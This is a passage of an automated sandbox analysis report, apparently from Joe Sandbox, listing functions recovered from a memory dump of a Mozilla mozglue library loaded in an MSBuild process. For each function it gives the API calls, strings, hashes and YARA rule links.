GetCurrentThreadId.KERNEL32 ref: 6C45EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F000

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C45F02F

Part of subcall function 6C45F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45F09B
Part of subcall function 6C45F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C45F0AC
Part of subcall function 6C45F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C45F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C45F008
[I %d/%d] profiler_stop, xrefs: 6C45EED7

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 4aa9b713d1a97526783c5bcd71a53d91646d897824d64c07023980c67d63865b
Instruction ID: cfcf4027187fa12d93ed9c248042a07bdaa75501fe1dde1b6b4238825355b3ef
Opcode Fuzzy Hash: 4aa9b713d1a97526783c5bcd71a53d91646d897824d64c07023980c67d63865b
Instruction Fuzzy Hash: FF51E331606230AFFB10FF65D848FA97BB8EB66329F540519F91983B40CB355824C7E2

Function 6C44D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C49E804), ref: 6C44D047
GetSystemInfo.KERNEL32(?), ref: 6C44D093
__Init_thread_footer.LIBCMT ref: 6C44D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C49E810,00000040), ref: 6C44D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C49E7B8,00001388), ref: 6C44D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C49E744,00001388), ref: 6C44D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C49E784,00001388), ref: 6C44D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C49E7DC,00001388), ref: 6C44D1B1

Strings

<jemalloc>, xrefs: 6C44D268, 6C44D311
Compile-time page size does not divide the runtime one., xrefs: 6C44D26D
MOZ_CRASH(), xrefs: 6C44D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C44D322
MALLOC_OPTIONS, xrefs: 6C44D0CB

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 301fd679e0abeed4a9330a6f1077a2d7f29e403ff7e290e66a2f4d37dab4030d
Instruction ID: 04f0541de888b9ffa59ffcf0a634dfcca116ed5e062741be925d8c7e8d832389
Opcode Fuzzy Hash: 301fd679e0abeed4a9330a6f1077a2d7f29e403ff7e290e66a2f4d37dab4030d
Instruction Fuzzy Hash: 1381C370F00260DBFB14EF68C894FA97BB5FB66709F208569E90197B80D7719805CBD2

Function 6C427FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C428007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C42801D

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C42802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C42803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C42808D

Part of subcall function 6C42CA10: mozalloc_abort.MOZGLUE(?), ref: 6C42CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C42809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C42810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C428133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C428149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C428167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C42817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C428199

Strings

0>El, xrefs: 6C42811E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>El
API String ID: 2721933968-915437844
Opcode ID: e3fac7152aa966d8c70a45741e0932cc2e7300f4a1cd378de47e884c18000c78
Instruction ID: 4b135142e65795283892711ae439f8acbea9c392c4d1fe5dbd9a25090f8ca2ce
Opcode Fuzzy Hash: e3fac7152aa966d8c70a45741e0932cc2e7300f4a1cd378de47e884c18000c78
Instruction Fuzzy Hash: BE5183B2E001145BDB00DFA5DC85EAFB7B9AF49264F140129E815E7781E734D904CBA1

Function 6C425E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C425E9D

Part of subcall function 6C435B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4356EE,?,00000001), ref: 6C435B85
Part of subcall function 6C435B50: EnterCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435B90
Part of subcall function 6C435B50: LeaveCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435BD8
Part of subcall function 6C435B50: GetTickCount64.KERNEL32 ref: 6C435BE4

GetCurrentThreadId.KERNEL32 ref: 6C425EAB
GetCurrentThreadId.KERNEL32 ref: 6C425EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C425ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C426017

Part of subcall function 6C414310: moz_xmalloc.MOZGLUE(00000010,?,6C4142D2), ref: 6C41436A
Part of subcall function 6C414310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4142D2), ref: 6C414387

moz_xmalloc.MOZGLUE(00000004), ref: 6C425F47
GetCurrentProcess.KERNEL32 ref: 6C425F53
GetCurrentThread.KERNEL32 ref: 6C425F5C
GetCurrentProcess.KERNEL32 ref: 6C425F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C425F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C425F27

Part of subcall function 6C42CA10: mozalloc_abort.MOZGLUE(?), ref: 6C42CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4255E1), ref: 6C425E8C

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4255E1), ref: 6C42605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4255E1), ref: 6C4260CC

Strings

GeckoMain, xrefs: 6C425ECE, 6C426015

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: b9cfce35c2d01009bbb35cdb1b63836377d6532241e3065313a720c8c893d7d5
Instruction ID: 1f7f930043433f23f4ab0832d6e220cdb8017abaf530b097f5cfdc720d596905
Opcode Fuzzy Hash: b9cfce35c2d01009bbb35cdb1b63836377d6532241e3065313a720c8c893d7d5
Instruction Fuzzy Hash: 2671E1B0A057809FD710DF29C481E6ABBF0FF5A304F14496DE88A87B52D774E848CB92

Function 6C429590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C413217
Part of subcall function 6C4131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C413236
Part of subcall function 6C4131C0: FreeLibrary.KERNEL32 ref: 6C41324B
Part of subcall function 6C4131C0: __Init_thread_footer.LIBCMT ref: 6C413260
Part of subcall function 6C4131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C41327F
Part of subcall function 6C4131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C41328E
Part of subcall function 6C4131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4132AB
Part of subcall function 6C4131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4132D1
Part of subcall function 6C4131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4132E5
Part of subcall function 6C4131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C429675
__Init_thread_footer.LIBCMT ref: 6C429697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C429707
__Init_thread_footer.LIBCMT ref: 6C42971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C429773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4297B7
FreeLibrary.KERNEL32 ref: 6C4297D0
FreeLibrary.KERNEL32 ref: 6C4297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C429824

Strings

MapViewOfFileNuma2, xrefs: 6C4297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C429670
NtMapViewOfSection, xrefs: 6C429701
ntdll.dll, xrefs: 6C4296E3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: acb8c02b52616f3d3f516036fd30d004a05d9cce0f2ed421e2c7b8958dad91e5
Instruction ID: e3bf9a629f2af52429a550a5599c3a978a7a5ae978e3e7a043f68e77a381308d
Opcode Fuzzy Hash: acb8c02b52616f3d3f516036fd30d004a05d9cce0f2ed421e2c7b8958dad91e5
Instruction Fuzzy Hash: A1610271B01221DFEF00EFA5D889F9A7BB4EBAA315F108168FD5583780D735A854CB91

Function 6C476660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C49F618), ref: 6C476694
GetThreadId.KERNEL32(?), ref: 6C4766B1
GetCurrentThreadId.KERNEL32 ref: 6C4766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C4766E1
EnterCriticalSection.KERNEL32(6C49F618), ref: 6C476734
GetCurrentProcess.KERNEL32 ref: 6C47673A
LeaveCriticalSection.KERNEL32(6C49F618), ref: 6C47676C
GetCurrentThread.KERNEL32 ref: 6C4767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C476868
RtlCaptureContext.NTDLL ref: 6C47687F

Strings

WalkStack64, xrefs: 6C476890

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 55f002681f84fd7df7a8637dc6365bf797fa45ea38cf52ef48d380f6bdfe1295
Instruction ID: d40e540076c301c5b7b020d8385a869715b55ec51365ea963643a6cb9fd3ebf2
Opcode Fuzzy Hash: 55f002681f84fd7df7a8637dc6365bf797fa45ea38cf52ef48d380f6bdfe1295
Instruction Fuzzy Hash: C751DC71A09310AFDB21DF24C844E9ABBF5BF89714F00892DF99897740D774E809CBA2

Function 6C45DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45DE73
GetCurrentThreadId.KERNEL32 ref: 6C45DF7D
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45DF8A
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45DFC9
GetCurrentThreadId.KERNEL32 ref: 6C45DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C424A68), ref: 6C45DE7B

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C424A68), ref: 6C45DEB8
free.MOZGLUE(00000000,?,6C424A68), ref: 6C45DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C45DF38

Strings

<none>, xrefs: 6C45DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C45DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C45E00E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 3cd417f0aedc540b7002216978044b9d2d5a509e18a9d927c836debbc1e8347d
Instruction ID: 73dc0c5e4d8e546a472c99892484d5f884b8bd122a725ee0538ce4b600a494a6
Opcode Fuzzy Hash: 3cd417f0aedc540b7002216978044b9d2d5a509e18a9d927c836debbc1e8347d
Instruction Fuzzy Hash: BC41EB76701520ABEB10EF65D904FAD7B75EF6630DF940019F90597B41CB31A815C7E2

Function 6C46D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D918
GetCurrentThreadId.KERNEL32 ref: 6C46D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D970
GetCurrentThreadId.KERNEL32 ref: 6C46D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C46DA2E
GetCurrentThreadId.KERNEL32 ref: 6C46DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C46DA91

Part of subcall function 6C435C50: GetTickCount64.KERNEL32 ref: 6C435D40
Part of subcall function 6C435C50: EnterCriticalSection.KERNEL32(6C49F688), ref: 6C435D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46DAB7

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 42b0bcc74335adc24cd15402fcca98e81eb09b6887eb33b83311bdb859b4152c
Instruction ID: 5af23c58161002fc985a61e2a916f371dcd39fda84fcae5abcf94c0a2b53ea42
Opcode Fuzzy Hash: 42b0bcc74335adc24cd15402fcca98e81eb09b6887eb33b83311bdb859b4152c
Instruction Fuzzy Hash: B271AD356043149FCB00DF2AC888F9ABBF5FF89314F25866DE85A9B715DB30A944CB91

Function 6C46D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D52A
GetCurrentThreadId.KERNEL32 ref: 6C46D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D55F
free.MOZGLUE(00000000), ref: 6C46D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C46D5D3
GetCurrentThreadId.KERNEL32 ref: 6C46D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D652
GetCurrentThreadId.KERNEL32 ref: 6C46D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C46D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C46D6A2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 5db5a3b2c169aa722d038a8615b85526bc2d182e7fd73ac8c4fc04bd20f09d33
Instruction ID: 92bf1cf6cd67443a7f18501773ce8cc6f4c4a6bb206eacddd1c27036dfad1598
Opcode Fuzzy Hash: 5db5a3b2c169aa722d038a8615b85526bc2d182e7fd73ac8c4fc04bd20f09d33
Instruction Fuzzy Hash: 04514D71604705DFCB14DF35C888E9ABBB5FF89318F108A2EE95A87B11DB30A945CB91

Function 6C411E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49E784), ref: 6C411EC1
LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C411EE1
EnterCriticalSection.KERNEL32(6C49E744), ref: 6C411F38
LeaveCriticalSection.KERNEL32(6C49E744), ref: 6C411F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C411F83
LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C411FC0
EnterCriticalSection.KERNEL32(6C49E784), ref: 6C411FE2
LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C411FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C412019

Strings

MOZ_CRASH(), xrefs: 6C412000
\Il, xrefs: 6C411F3E
DIl, xrefs: 6C411F56
DIl, xrefs: 6C411F32

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DIl$DIl$MOZ_CRASH()$\Il
API String ID: 2055633661-4059523077
Opcode ID: 6039e36ca572466d2ea4ad1b1003493a3150d1f94fa6169b063dec44cd569762
Instruction ID: 9682d0595830b829ef205a4fa8f6455fde58ebb0aa807f05b2aee89a7c8ff774
Opcode Fuzzy Hash: 6039e36ca572466d2ea4ad1b1003493a3150d1f94fa6169b063dec44cd569762
Instruction Fuzzy Hash: 5E41CD71F043298FDF10EF69C888F6A7BB5FB6A348F040069E94597B41DB7098048BD2

Function 6C435670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C435744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4357BC
GetTickCount64.KERNEL32 ref: 6C4358CB
EnterCriticalSection.KERNEL32(6C49F688), ref: 6C4358F3
__aulldiv.LIBCMT ref: 6C435945
LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C4359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C49F638,?,?,?,?), ref: 6C4359E9

Strings

MOZ_APP_RESTART, xrefs: 6C4356CC

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

